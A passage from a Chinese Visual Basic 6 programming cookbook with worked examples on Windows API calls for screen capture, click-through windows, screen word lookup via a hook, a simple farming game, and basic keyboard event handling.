AttachThreadInput yourprocid, myprocid, False                        '取消进程连接




5．绘制鼠标指针

鼠标指针的绘制通过使用API函数实现。API函数DrawIconEx声明方法如下：



[Public | Private] Declare Function DrawIconEx Lib "user32" (ByVal hdc As Long , ByVal xLeft As Long , ByVal yTop As Long , ByVal hIcon As Long , ByVal cxWidth As Long , ByVal cyWidth As Long , ByVal istepIfAniCur As Long , ByVal hbrFlickerFreeDraw As Long , ByVal diFlags As Long) As Long




返回值类型为Long，非0表示成功，0表示失败。

参数说明如表14.16所示。

表14.16 API函数DrawIconEx的参数说明



	参数
	类型
	说明



	hdc
	Long
	要在其中画图的一个设备场景的句柄



	xLeft,yTop
	Long
	图标左上角的位置，用逻辑坐标表示



	hIcon
	Long
	要描绘的图标的句柄



	cxWidth,cyWidth
	Long
	希望的图标宽度和高度。图标会自动缩放，与指定的值相符



	istepIfAniCur
	Long
	如果hIcon是个动画指针，那么该参数指定描绘动画中的那幅图像。注意Win32不能区分图标和指针



	hbrFlickerFreeDraw
	Long
	如设为一个刷子句柄，那么函数会将图标画入一幅内存位图，并用背景色填充。随后，将图像直接复制到指定的位置。这样做在绘图时可减少闪烁（因为画图过程中重现）



	diFlags
	Long
	一系列常数标志的组合，常数说明见表14.17




表14.17 API函数DrawIconEx的diFlags参数的常数说明



	常数
	值
	说明



	DI_COMPAT
	&H4
	　　描绘标准的系统指针，而不是指定的图像



	DI_DEFAULTSIZE
	&H8
	　　忽略cxWidth和cyWidth设置，并采用原始的图标大小



	DI_IMAGE
	&H2
	　　绘图时使用图标的XOR部分（即图标没有透明区域）



	DI_MASK
	&H1
	　　绘图时使用图标的MASK部分（如单独使用，可获得图标的掩模）



	DI_NORMAL
	&H3
	　　用常规方式绘图（合并 DI_IMAGE 和 DI_MASK）




例如，下面代码在PictureBox控件中获取鼠标指针样式。



cursorpoint = GetCursor '鼠标句柄
DrawIconEx Picture1.hdc, 0, 0, cursorpoint, 0, 0, 0, 0, DI_NORMAL




设计过程

（1）添加一个窗体，命名为Frm_Main。

（2）在Frm_Main上添加一个CheckBox控件，命名为Chk_Cursor。Chk_Cursor的Caption属性设置为“鼠标指针”。

（3）添加3个CommandButton控件，分别命名为Cmd_App、Cmd_Ok、Cmd_Yes。Cmd_App的Caption属性为“...”；Cmd_Ok的Caption属性为“确定”；Cmd_Yes的Caption也为“确定”。

（4）添加两个ComboBox控件，分别命名为Combo1、Combo2。它们用于设置抓图快捷键。

（5）添加一个Frame控件，命名为Frame1，充当容器。

（6）添加3个Label控件，分别命名为Label1、Label2、Label3。Label1的Caption属性为“设置保存组合键”；Label2的Caption属性为“+”；Label3的Caption属性为“保存路径”。

（7）添加两个OptionButton控件，分别命名为Opt_All、Opt_Part。Opt_All的Caption属性为“全屏抓图”、Opt_Part的Caption属性为“局部抓图”。

（8）添加一个PictureBox控件，命名为Picture1，用于将目标场景保存为图片。

（9）添加一个TextBox控件，命名为Txt_App，用于指定图片保存路径。

（10）在窗体Frm_Main中进行菜单设置。

（11）添加两个公共模块，分别命名为Mdl_CatchScreen和Mdl_folder。

（12）获取鼠标指针绘制的过程就是将鼠标指针样式复制到位图场景中的过程，鼠标指针的绘制主要代码如下。

本实例程序运行时，按下快捷键进行抓图操作。抓图过程代码如下：



Private Sub savebmp()                                                '保存图片
    On Error GoTo 2
    If Trim(Txt_App.Text) = "" Then
        MsgBox "请设置保存路径"
    Else
        Dim point As POINTAPI
        GetCursorPos point                                            '获取鼠标位置
        formleft = point.x
        formtop = point.y
        winpoint = WindowFromPoint(formleft, formtop)                            '获取句柄
        myprocid = GetWindowThreadProcessId(Me.hwnd, 0)                        '本地进程ID
        yourprocid = GetWindowThreadProcessId(winpoint, 0)                        '其他程序进程ID
        If myprocid <> yourprocid Then
            AttachThreadInput yourprocid, myprocid, True                            '连接进程
        End If
        Dim savefilename As String
        Dim tempfilename As String * 255
        SendMessage winpoint, WM_GETTEXT, Len(tempfilename), ByVal tempfilename
        savefilename = Replace(tempfilename, Chr(0), "")
        savefilename = Replace(savefilename, Chr(9), "")
        '略
        If Me.Opt_Part = True The                                        '抓图
            part                                                    '部分
        Else
            all                                                    '全屏
        End If
        Dim FileName As String
        Dim filecount As Long
        Do Until Dir(Txt_App.Text & "\" & FileName) = ""
            filecount = filecount + 1
            FileName = savefilename & "temp" & filecount & ".bmp"
        Loop
        SavePicture Picture1.Picture, Txt_App.Text & "\" & FileName                    '保存图片
    End If
2:                                             Timer1.Enabled = False
End Sub




当选择本实例程序的“局部抓图”模式时，对目标程序的控件进行局部抓图的操作。局部抓图的过程代码如下：



Private Sub part()                                                    '局部抓图
    Picture1.Cls
    Dim Rectangle As RECT
    Dim cursorpoint As Long
    cursorpoint = GetCursor                                            '鼠标句柄
    GetWindowRect winpoint, Rectangle                                    '获取抓图场景区域
    SourceDC = CreateDC("DISPLAY", 0, 0, 0)                                '设备场景
    DestDC = CreateCompatibleDC(SourceDC)                                '内存场景
    '位图场景
    Bhandle = CreateCompatibleBitmap(SourceDC, Rectangle.Right - Rectangle.Left, Rectangle.Bottom - Rectangle.Top) 
    SelectObject DestDC, Bhandle '选择位图对象
    BitBlt DestDC, 0, 0, Rectangle.Right - Rectangle.Left, Rectangle.Bottom - Rectangle.Top, SourceDC, Rectangle.Left, Rectangle.Top, &HCC0020                                                                '复制场景
    Dim wnd As Long
    wnd = Me.hwnd
    OpenClipboard wnd
    EmptyClipboard
    If Chk_Cursor.Value = 1 Then                                            '鼠标指针
        Dim ico As ICONINFO
        GetIconInfo cursorpoint, ico
        DrawIconEx DestDC, formleft - Rectangle.Left - ico.xHotspot, formtop - Rectangle.Top - ico.yHotspot, cursorpoint, 0, 0, 0, 0, DI_NORMAL                                                                '绘制鼠标指针
    End If
    SetClipboardData 2, Bhandle
    CloseClipboard
    DeleteDC DestDC
    ReleaseDC wnd, SourceDC
    Picture1.Picture = Clipboard.GetData()
    AttachThreadInput yourprocid, myprocid, False                                '取消进程连接
End Sub




当选择本实例程序的“全屏抓图”模式时，进行抓取整个显示器屏幕的操作。全屏抓图的过程代码如下：



Private Sub all()                                                    '全屏抓图
    Picture1.Cls
    Dim cursorpoint As Long
    cursorpoint = GetCursor
    SourceDC = CreateDC("DISPLAY", 0, 0, 0)                                '创建设备场景
    DestDC = CreateCompatibleDC(SourceDC)                                '创建内存场景
    Bhandle = CreateCompatibleBitmap(SourceDC, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY)                                                                        '创建位图场景
    SelectObject DestDC, Bhandle                                        '选择位图对象
    BitBlt DestDC, 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, SourceDC, 0, 0, &HCC0020                                                                        '复制场景
    Dim wnd As Long
    wnd = Me.hwnd
    OpenClipboard wnd
    EmptyClipboard
    If Chk_Cursor.Value = 1 Then                                            '鼠标指针
        Dim ico As ICONINFO
        GetIconInfo cursorpoint, ico
        DrawIconEx DestDC, formleft - ico.xHotspot, formtop - ico.yHotspot, cursorpoint, 0, 0, 0, 0, DI_NORMAL
    End If
    SetClipboardData 2, Bhandle                                            '将位图赋予剪贴板
    CloseClipboard
    DeleteDC DestDC
    ReleaseDC wnd, SourceDC
    Picture1.Picture = Clipboard.GetData()
    AttachThreadInput yourprocid, myprocid, False
End Sub




秘笈心法

心法领悟459：BringWindowToTop函数。

函数功能：该函数将一个弹出窗口或子窗口放在重叠窗口栈的顶部，并激活弹出式窗口和顶层窗口。该函数用于打开被其他重叠式窗口部分遮住或全部遮住的窗口。

函数声明如下：



Declare Function BringWindowToTop Lib "user32" Alias "BringWindowToTop" (ByVal hwnd As Long) As Long






 实例460　鼠标穿透效果

光盘位置：光盘\MR\14\460

高级

趣味指数：[image: ]




实例说明

现在有许多类似于“桌面精灵”的桌面工具软件，为了不影响用户对其他应用程序的操作，加入了鼠标穿透的效果。运行本实例程序，显示当前日期、星期、农历日期。单击桌面上的“网上邻居”图标，运行效果如图14.28所示。

[image: ]
图14.28　鼠标穿透效果



关键技术

本实例主要通过对扩展窗体样式和窗体透明度的设置实现鼠标穿透效果。下面对本实例中用到的关键技术进行详细讲解。

（1）获取扩展窗口样式

在设置扩展窗口样式前首先需要获取扩展窗口样式。获取扩展窗口样式通过使用API函数GetWindowLong实现。


说明：
 GetWindowLong函数的详细讲解请参见实例258中的关键技术。

接收扩展窗口样式，使用常数GWL_EXSTYLE。例如，下面代码函数返回值rtn表示扩展窗口样式。



rtn = GetWindowLong( hwnd, GWL_EXSTYLE)




（2）设置扩展窗口样式

设置扩展窗口样式通过使用API函数SetWindowLong实现。


说明：
 SetWindowLong函数的详细讲解请参见实例248中的关键技术。

例如，下面代码根据rnt值设置扩展窗口样式。



SetWindowLong.hwnd, GWL_EXSTYLE, rtn




（3）设置窗体透明度

设置窗体透明度通过使用API函数SetLayeredWindowAttributes实现。


说明：
 SetLayeredWindowAttributes函数的详细讲解请参见实例253中的关键技术。

例如，下面代码将窗体设置为透明。



SetLayeredWindowAttributes Frm.hwnd, 0, 0, LWA_ALPHA




设计过程

（1）添加一个窗体，命名为Frm_Calendar。

（2）在窗体上添加若干个Label控件，用于显示日期、星期、农历等。它们的BackStyle属性都为0-Transparent。

（3）添加一个PictureBox控件，命名为Picture1，用于充当容器。

（4）添加一个公共模块，命名为Module1。

（5）因为鼠标穿透效果通过与窗体半透明效果搭配使用，所以将实现两种效果的代码写入公共模块 Module1的同一过程（transparence）中。过程transparence具有3个形式参数，参数Frm代表窗体对象，可选参数percent代表窗体透明度，可选参数strike用于指定是否实现鼠标穿透效果。设置窗体扩展样式过程的代码如下：



Public Sub transparence(ByVal Frm As Form, Optional percent As Integer, Optional strike As Boolean)
    Dim rtn As Long
    rtn = GetWindowLong(Frm.hwnd, GWL_EXSTYLE)                            '获取扩展窗口样式
    If strike = True Then                                                '当允许穿透时
        rtn = rtn Or WS_EX_LAYERED Or WS_EX_TRANSPARENT
    Else
        If (rtn And WS_EX_TRANSPARENT) Xor WS_EX_TRANSPARENT = 0 Then            '当已经处于穿透状态时
            rtn = rtn Or WS_EX_LAYERED Xor WS_EX_TRANSPARENT                '取消穿透
        Else
            rtn = rtn Or WS_EX_LAYERED
        End If
    End If
    SetWindowLong Frm.hwnd, GWL_EXSTYLE, rtn                                '设置扩展窗口样式
    If percent > 0 Then
        SetLayer Frm, percent                                            '设置半透明的过程
    End If
End Sub




在公共模块Module1中创建设置窗体透明度的过程SetLayer。过程SetLayer具有两个形式参数，Frm代表窗体对象，percent代表窗体透明度。设置窗体透明度过程的代码如下：



Public Sub SetLayer(ByVal Frm As Form, ByVal percent As Integer)
    SetLayeredWindowAttributes Frm.hwnd, 0, 255 * percent \ 100, LWA_ALPHA        '设置窗体透明度
End Sub




秘笈心法

心法领悟460：FindWindow函数。

函数功能：寻找窗口列表中第一个符合指定条件的顶级窗口（在此Visual Basic中，FindWindow最常见的一个用途是获得ThunderRtMain类的隐藏窗口的句柄，该类是所有运行中Visual Basic执行程序的一部分。获得句柄后，可用API函数GetWindowText取得这个窗口的名称，该名称也就是应用程序的标题）。

函数声明如下：



Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long






 实例461　屏幕取词

光盘位置：光盘\MR\14\461

高级

趣味指数：[image: ]




实例说明

想必大家都用过“金山词霸”的“屏幕取词”功能，它可以根据鼠标位置，获取屏幕或控件中的单词并进行翻译。本实例程序用于演示屏幕取词的原理。运行程序，用鼠标选中Microsoft Office Outlook 2003图标，选择字符串Microsoft，效果如图14.29所示。

[image: ]
图14.29　屏幕取词效果



关键技术

本实例主要通过创建键盘鼠标钩子、根据插入符的坐标获取相应位置的字符串，实现屏幕取词的功能。下面对本实例中用到的关键技术进行详细讲解。

（1）键盘鼠标钩子的创建

屏幕取词必须要获取键盘或鼠标的事件，获取的方法是创建键盘鼠标钩子。键盘鼠标钩子的创建通过使用API函数SetWindowsHookEx实现，语法如下：



[Public | Private] Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long




参数说明如表14.18所示。

表14.18 API函数SetWindowsHookEx的参数说明



	参数
	说明



	idHook
	要安装的钩子类型



	lpfn
	钩子过程的指针，即为拦截到指定系统消息后的预处理过程



	hmod
	应用程序实例句柄



	dwThreadId
	要安装钩子的线程ID




创建键盘鼠标钩子代码如下：



haw = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf MyHook, App.hInstance, 0)




（2）获得范围矩形

获取文字出现的矩形区域，并根据该区域的坐标设置屏幕取词窗口的位置。获取矩形区域通过使用API函数GetWindowRect实现。


说明：
 GetWindowRect函数的详细讲解请参见实例438中的关键技术。

例如，下面代码获取本地窗口的范围矩形。



GetClientRect Me.hwnd, Rectangle




（3）进行取词操作需要获取插入符的坐标，获取的方法是使用API函数GetCaretPos。API函数 GetCaretPos声明方法如下：



[Public | Private] Declare Function GetCaretPos Lib "user32" Alias "GetCaretPos" (lpPoint As POINTAPI) As Long




返回值：判断插入符的当前位置。

参数说明

lpPoint：POINTAPI，这个结构会随同插入符在窗口客户坐标系统中的位置载入；那个窗口是插入符的父窗口。

结构POINTAPI声明方法如下：



[Public | Private] Type POINTAPI
    X As Long
    Y As Long
End Type




例如，下面代码获取插入符坐标。



Dim caret_pos As POINTAPI
GetCaretPos caret_pos




（4）根据坐标获取字符串

实现屏幕取词最重要的操作是根据坐标获取相应位置的字符串。获取的方法通过使用API函数SendMessage发送EM_CHARFORMPOS消息实现。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

根据坐标获取字符串，关键代码如下：



carpos = SendMessage(hwd, EM_CHARFORMPOS, 0, ByVal pos)




设计过程

（1）添加窗体，命名为Form1。

（2）在窗体Form1上添加一个TextBox控件，命名为Text1。Text1的BackColor属性为&H0080FFFF&，BorderStyle属性为1-Fixed Single。

（3）添加自定义控件Tray，命名为Tray1。

（4）添加窗体，命名为Form2，用于装载菜单项。Form2中的菜单项设置如表14.19所示。


表14.19　Form2窗体菜单项设置

[image: ]


（5）添加一个公共模块，命名为Module1。

（6）在窗体Form1的Load事件中创建键盘鼠标钩子，将函数MyHook作为回调函数。当发生键盘或鼠标事件时，函数MyHook将被调用。创建钩子代码如下：



haw = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf MyHook, App.hInstance, 0)




回调函数MyHook主要用来根据鼠标位置获取相应的字符串。函数MyHook在公共模块Module1中创建代码如下：



Public Function MyHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    On Error GoTo 1
    Dim i As Long
    Dim pos As Long
    Dim carpos As Long
    Dim lc As Long
    If ncode = HC_ACTION Then
        hwd = GetFocus()                                            '获得拥有输入焦点的窗口的句柄
        If hwd <> Form1.hwnd Then
            GetWindowRect hwd, focus_rect                                '获得范围矩形
            GetCaretPos caret_pos                                    '判断插入符的当前位置
            Form1.Top = (focus_rect.Top + caret_pos.Y + 20) * Screen.TwipsPerPixelY
            Form1.Left = (focus_rect.Left + caret_pos.X + 10) * Screen.TwipsPerPixelX
            pos = caret_pos.X + caret_pos.Y * 65536
            carpos = SendMessage(hwd, EM_CHARFORMPOS, 0, ByVal pos)            '获取指定位置的字符串
            lc = carpos Mod 65536
            Form1.Text1.Text = GetWord(lc)
            If Form1.Caption <> GetWord(lc) Then
                Form1.Caption = GetWord(lc)
            End If
        End If
    Else
        CallNextHookEx haw, ncode, wParam, lParam                        '下一个钩子
    End If
    CallNextHookEx haw, ncode, wParam, lParam
1: End Function




将获取的字符串根据插入符位置以及分隔符进行取词操作。在公共模块Module1中取词的过程代码如下：



Public Function GetWord(pos As Long) As String
    On Error Resume Next
    Dim pos1 As Integer, pos2 As Integer, i As Integer
    Dim strlen As Long
    Dim st() As Byte
    strlen = SendMessage(hwd, WM_GETTEXTLENGTH, 0, 0) + 1                    '获取字符串长度
    ReDim st(strlen) As Byte
    SendMessage hwd, WM_GETTEXT, strlen, st(0)
    pos1 = 0: pos2 = UBound(st)
    For i = pos - 1 To 0 Step –1                                        '向前搜索分格符的位置
        If IsDelimiter(st(i)) Then
            pos1 = i + 1
            Exit For
        End If
    Next
    For i = pos To UBound(st)                                        '向后搜寻分隔符字符的位置
        If IsDelimiter(st(i)) Then
            pos2 = i - 1
            Exit For
        End If
    Next
    If pos2 > pos1 Then                                            '截取pos1～pos2之间的字符，以构成一个单词
        ReDim bArr2(pos2 - pos1) As Byte
        For i = pos1 To pos2
            bArr2(i - pos1) = st(i)
        Next
        GetWord = StrConv(bArr2, vbUnicode)
    Else
        GetWord = ""
    End If
End Function





说明：
 StrConv函数用于返回指定类型的字符串，当指定的常数是vbUnicode时，字符串以Unicode形式显示。

上面代码中调用的IsDelimiter是用于判断分隔符的自定义函数。函数IsDelimiter在公共模块Module1中定义代码如下：



Public Function IsDelimiter(ByVal Char As Byte) As Boolean
    Dim S As String
    S = Chr(Char)
    IsDelimiter = False
    If S = " " Or S = "," Or S = "." Or S = "?" Or S = "vbCr" Or S = "vbLf" Then
        IsDelimiter = True
    End If
End Function




秘笈心法

心法领悟461：FlashWindow函数。

函数功能：闪烁显示指定窗口。这意味着窗口的标题和说明文字会发生变化，给人的感觉像是从活动切换到非活动状态或反向切换。通常对不活动的窗口应用这个函数，以引起用户的注意。

函数声明如下：



Declare function flashWindow Lib＂user32＂Alias＂FlashWindow＂(ByVal hwnd As Long,ByVal bInvert As Long)As Long






 实例462　打造自己的开心农场

光盘位置：光盘\MR\14\462

高级

趣味指数：[image: ]




实例说明

打造自己的开心农场是一款非常让人赏心悦目的小游戏。运行程序，会在窗体上显示一片田地，在窗体的下侧单击“播种”图标，然后将鼠标移动到田地上的相应位置，单击鼠标左键在此处播下种子，用户可以在田地上连续播种，过一段时间之后，种子会自动生长出绿叶、开花并且结果。在作物收获的季节，用户可以在果实上单击鼠标左键，收获果实，并存储到仓库中，程序的运行效果如图14.30所示。

[image: ]
图14.30　打造自己的开心农场运行界面



用户要在作物播种、生长、开花和结果前期收获果实，会给出提示消息，如图14.31所示。

[image: ]
图14.31 不能收获果实的提示信息



关键技术

本程序的设计思路是通过利用Win32的API函数，获取鼠标单击的坐标，然后通过计算将播种图片显示在正确位置。再通过Timer控件控制作物的生长时期，在相应的作物生长时期显示相应的图片。在收获的季节单击果实图片卸载Image控件，用Label控件显示收获的果实数目。

在开发本程序的过程中主要用到GetCursorPos函数（Windows API函数）、动态数组和Timer控件的使用等。

静态数组使用Dim语句来声明，语法如下：



Public|Private|Dim 数组名(下标)[As 数据类型]




声明静态数组语法中各部分的说明如表14.20所示。

表14.20 静态数组语法中各部分的说明



	设置值
	说明



	Public|Private|Dim
	只能选取一个而且必选其一。如果声明的是模块级别的数组，数组在该模块中的所有过程都是可用的；如果声明的是过程级别的数组，数组只能在该过程内可用



	数组名
	只能选取一个而且必选其一



	下标
	必选参数。数组变量的维数，必须为常数；最多可以声明60维的多维数组，下标下界最小可为−32768，最大上界为32767。可省略下界，默认值为0



	数据类型
	可选参数。变量的数据类型





说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

设计过程

（1）新建一个VB企业版控件的工程。

（2）在工程中新建一个标准窗体，Caption属性设置为“打造自己的开心农场”。

（3）在窗体上添加一个PictureBox控件，AutoSize属性设置为True，BorderStyles属性设置为0-None，并设置Picture属性为相应的图片。

（4）在窗体上添加一个Timer控件，用于控制作物的生长阶段，将Enabled属性设置为False，Interval属性设置为9000。

（5）在窗体上添加5个Image控件，并定义为名称为Ige_process的控件数组，分别设置Picture属性为作物生长的各个阶段的图片。

（6）在PictureBox控件上添加一个Label控件，使用其默认名称Label1，Caption属性设置为“您的仓库没有任何果实，快快播种吧！！”，BorderStyle属性设置为0-None。

（7）在Picture控件上添加5个Image控件，分别设置Picture属性为作物生长的各个阶段的按钮图片。

（8）用户单击Picture1容器上Image控件时的处理事件，当Image控件为“播种”图片时，标记flag为1，当Image控件为作物生长期间的图片时，根据Timer控件的Enabled属性，给出相应处理，程序代码如下：



Private Sub Image1_Click(Index As Integer)        '设置标志变量值，根据该值判断要添加哪个控件
    If Index = 0 Then
        flag = 1
    ElseIf Timer1(Index).Enabled = False Then
        fruit_count = fruit_count + 1
        Label1.Caption = "     您的仓库现有" & fruit_count & "个果实"
        Unload Image1(Index)                  '删除Image控件
        Unload Timer1(Index)                  '删除Timer控件
    ElseIf Timer1(Index).Enabled = True Then
        MsgBox " 作物还没有到收获的季节，不能收获！ ", vbOKOnly, "提示信息："
    End If
End Sub




Timer控件响应事件，控制作物的生长阶段，当作物结果时Enabled属性设置为False，程序代码如下：



Private Sub Timer1_Timer(Index As Integer)
    If r(Index) < 4 Then
        Image1(Index).Picture = Ige_process(r(Index)).Picture
        r(Index) = r(Index) + 1
    Else
        r(Index) = 0
        Timer1(Index).Enabled = False
    End If
End Sub




在主窗体中，用户单击Picture1控件时，通过API函数获得鼠标单击位置的坐标，并在此处播下种子，此时Timer控件Enabled属性值为True，控制作物的生长，程序代码如下：



Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim mouse As POINTAPI
    Dim myleft
    Dim mytop
GetCursorPos mouse                              '此函数用户获取鼠标单击位置坐标
    myleft = X - 795                        '鼠标单击位置横坐标
    mytop = Y - 850                         '鼠标单击位置纵坐标
    If flag = 1 Then                               '添加Command控件
        i = Image1.ubound + 1
        r(i) = 1
        Load Image1(i)                         '添加控件数组元素
        Set Image1(i).Container = Picture1
        Image1(i).Picture = Ige_process(0).Picture
        Image1(i).Left = myleft                   '设置Left属性值
        Image1(i).Top = mytop                 '设置Top属性值
        Image1(i).Visible = True                  '显示该控件
        Load Timer1(i)                         '添加控件数组元素
        Timer1(i).Enabled = True
    End If
End Sub




秘笈心法

心法领悟462：MsgBox语句小知识。

调试事件时，不要使用MsgBox语句显示事件何时发生，因为这样做将会干扰许多事件的正常功能（例如，在Click事件过程中使用MsgBox语句将会阻止DblClick事件的发生），而应该使用Debug.Print来显示事件发生的顺序。


第15章　键盘相关

键盘基础

键盘综合应用






 15.1　键盘基础



 实例463　键盘ASCII码查询

光盘位置：光盘\MR\15\463

初级

趣味指数：[image: ]




实例说明

ASCII 字符集不仅代表标准键盘的字母、数字和标点符号，而且也代表大多数控制键。本实例实现查询在键盘上按下的按键的ASCII码，程序的运行效果如图15.1所示。

[image: ]
图15.1　键盘ASCII码查询



关键技术

此事件当用户按下和松开一个ANSI字符集中的键时发生，可触发窗体或控件的KeyPress事件。本实例通过窗体的KeyPress事件传递的keyascii值返回按键的ASCII码。一个对象（控件或者窗体）具有焦点时，如果按下和松开键盘上的按键就会触发此对象的KeyPress事件，语法如下：



Private Sub Form_KeyPress(keyascii As Integer)
Private Sub object_KeyPress([index As Integer,]keyascii As Integer)




参数说明

❶object：对象表达式。

❷index：是一个整数，它用来唯一标识一个在控件数组中的控件。

❸keyascii：是返回一个标准数字ANSI键代码的整数。keyascii通过引用传递，对它进行改变可给对象发送一个不同的字符。将keyascii改变为0时可取消击键，这样一来对象便接收不到字符。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“键盘ASCII码查询”。

（2）在窗体上添加标签控件用于显示获取的ASCII码信息。在窗体上添加Image控件，为程序添加美观的图像。

（3）主要程序代码如下：



Private Sub Form_KeyPress(KeyAscii As Integer)
    Label2.Caption = "您按下按键的ASCII码值为：     " & KeyAscii            'KeyAscii传递键盘ASCII码值
End Sub




秘笈心法

心法领悟463：KeyPress事件使用说明。

具有焦点的对象接收该事件。一个窗体仅在它没有可视和有效的控件或KeyPreview属性被设置为True时才能接收该事件。一个KeyPress事件可以引用任何可打印的键盘字符，一个来自标准字母表的字符或少数几个特殊字符之一的字符与Ctrl键的组合，以及Enter或Back Space键。KeyPress事件过程在截取TextBox或ComboBox控件所输入的击键时是非常有用的。它可立即测试击键的有效性或在字符输入时对其进行格式处理。改变KeyAscii参数的值会改变所显示的字符。



 实例464　按Enter键移动焦点

光盘位置：光盘\MR\15\464

初级

趣味指数：[image: ]




实例说明

在应用软件操作中，很多人习惯使用Enter键控制焦点的移动，这也给操作带来了方便。本实例演示按Enter键移动焦点的功能，程序的运行界面如图15.2所示。

[image: ]
图15.2　按Enter键移动焦点



关键技术

通过控件的KeyDown事件可以实现按Enter键移动焦点的操作。一个对象（控件或者窗体）具有焦点时，如果按下键盘上的按键就会触发此对象的KeyDown事件，其语法如下：



Private Sub Form_KeyDown(keycode As Integer, shift As Integer)
Private Sub object_KeyDown([index As Integer,]keycode As Integer, shift As Integer)




语法部分参数描述如表15.1所示。

表15.1 KeyDown事件语法部分描述



	参数
	描述



	object
	对象表达式



	index
	是一个整数，它用来唯一标识一个在控件数组中的控件



	keycode
	是一个键代码，例如，vbKeyF1（F1键）或vbKeyHome（Home键）。要指定键代码，可使用对象浏览器中的Visual Basic（VB）对象库中的常数



	shift
	是在该事件发生时响应Shift、Ctrl和Alt键的状态的一个整数。shift参数是一个位域，它用最少的位响应Shift键（位0）、Ctrl键（位1）和Alt键（位2）。这些位分别对应值1、2和4。可通过对一些、所有或无位的设置来指明有一些、所有或0个键被按下。例如，如果Ctrl和Alt这两个键都被按下，则shift的值为6




设计过程

（1）新建一个工程，将窗体的Caption属性设置为“按Enter键移动焦点”。

（2）在窗体上添加一个Frame控件，设置Caption属性为“分类信息”，此控件用于当作容器控件放置 TextBox控件数组。

（3）在Frame控件上添加TextBox控件数组txt_info（0～6），设置Text属性都为空。

（4）在窗体上添加两个CommandButton控件，设置Caption属性分别为“保存”和“退出”。

（5）主要程序代码如下：



Private Sub Form_Activate()
    Txt_info(0).SetFocus                                    '设置焦点位置
End Sub
Private Sub Txt_info_KeyDown(Index As Integer, KeyCode As Integer, Shift As Integer)
    If KeyCode = vbKeyReturn Then                            '如果按下的是Enter键
        If Index = Txt_info.UBound Then                        '如果是控件数组的最后一个控件则焦点移动到按钮上
            Cmd_save.SetFocus
            Exit Sub                                    '退出过程
        End If
        Txt_info(Index + 1).SetFocus                            '下一个控件数组获得焦点
    End If
End Sub





注意：
 SetFocus方法不能放在窗体的Load事件下，否则会产生错误。

秘笈心法

心法领悟464：KeyPress事件和KeyDown与KeyUp事件的区别。

KeyPress事件只识别Enter、Tab和Back Space键。KeyDown和KeyUp事件能够检测其他功能键、编辑键和定位键。



 实例465　将Enter键变成Tab键

光盘位置：光盘\MR\15\465

初级

趣味指数：[image: ]




实例说明

通过按Enter键移动焦点可以设置焦点移动的顺序。本实例介绍一种方法可以将Enter键转换成Tab键，即在用户按Enter键时，利用SendKeys "{TAB}"将其转换为Tab键，程序的运行界面如图15.3所示。

[image: ]
图15.3　将Enter键转换为Tab键



关键技术

本实例使用SendKeys语句实现向程序发送消息，实现将Enter键转换为Tab键的功能。下面介绍SendKeys语句的使用方法。

SendKeys语句实现将一个或多个按键消息发送到活动窗口，就如同在键盘上进行输入一样，语法如下：



SendKeys string[, wait]




参数说明

❶string：必选参数。字符串表达式，指定要发送的按键消息。

❷wait：可选参数。指定等待方式的值。如果为False（默认值），则控件在按键发送出去之后立刻返回到过程。如果为True，则按键消息必须在控件返回到过程之前加以处理。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“将Enter键转换为Tab键”。

（2）在窗体上添加一个ComboBox控件，添加一个TextBox控件和一个FileListBox控件。

（3）主要程序代码如下：



Private Sub Form_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
        SendKeys "{TAB}"                        '发送按键消息
        KeyAscii = 0                            '设置为空
    End If
End Sub




秘笈心法

心法领悟465：巧用KeyPreview属性。

如果KeyPreview属性被设置为True，则一个窗体先于该窗体上的控件接收到KeyDown事件。可用KeyPreview属性来创建全局键盘处理例程。



 实例466　判断Num Lock键和Caps Lock键是否锁定

光盘位置：光盘\MR\15\466

初级

趣味指数：[image: ]




实例说明

键盘上的Caps Lock和Num Lock键经常会被用到。本实例介绍如何在VB程序使用Windows API的函数GetKeyState来读取这两个键的状态，程序的运行界面如图15.4所示。

[image: ]
图15.4　判断Num Lock键和Caps Lock键是否锁定



关键技术

本实例使用API函数GetKeyState实现判断Num Lock键和Caps Lock键是否被锁定。GetKeyState函数用于针对已处理过的按键，在最近一次输入信息时，判断指定虚拟键的状态。

向GetKeyState函数中传递两个VB常量vbKeyCapital和vbKeyNumLock。如果按键未锁定则函数会返回0，否则会返回1。

利用GetKeyState函数不仅限于获取Lock键的值，对于键盘上的任意键，它都可以进行状态检测。但是对这个函数的使用还是有一定局限性的。对于非Lock键来说，它返回的只是按键瞬间的状态。例如，vbKeyF3键，则当该按键抬起时，函数会返回0，按下时则会返回一个非0值。

GetKeyState函数声明语句如下：



Public Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer




参数说明

nVirtKey：Long，欲测试的虚拟键键码。对字母、数字字符（A～Z、a～z、0～9），用它们实际的ASCII值。

返回值：Integer，如开关键打开，则位0设为1（开关键包括Caps Lock，Num Lock，Scroll Lock）；如某个键当时正处于按下状态，则位15为1；如已经抬起，则为0。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“判断Num Lock键和Caps Lock键是否锁定”。

（2）在窗体上添加一个ComboBox控件、一个TextBox控件和一个FileListBox控件。

（3）主要程序代码如下：



Private Sub Command1_Click()
    Dim MyStr As String
    If GetKeyState(vbKeyCapital) Then                    '按键锁定状态
        MyStr = "Caps Lock键锁定；"
    Else                                    '按键未锁定
        MyStr = "Caps Lock键未锁定；"
    End If
    If GetKeyState(vbKeyNumlock) Then                '数字锁定键锁定
        MyStr = MyStr + "Num Lock键锁定。"
    Else
        MyStr = MyStr + "Num Lock键未锁定。"
    End If
    Label1.Caption = MyStr
End Sub




秘笈心法

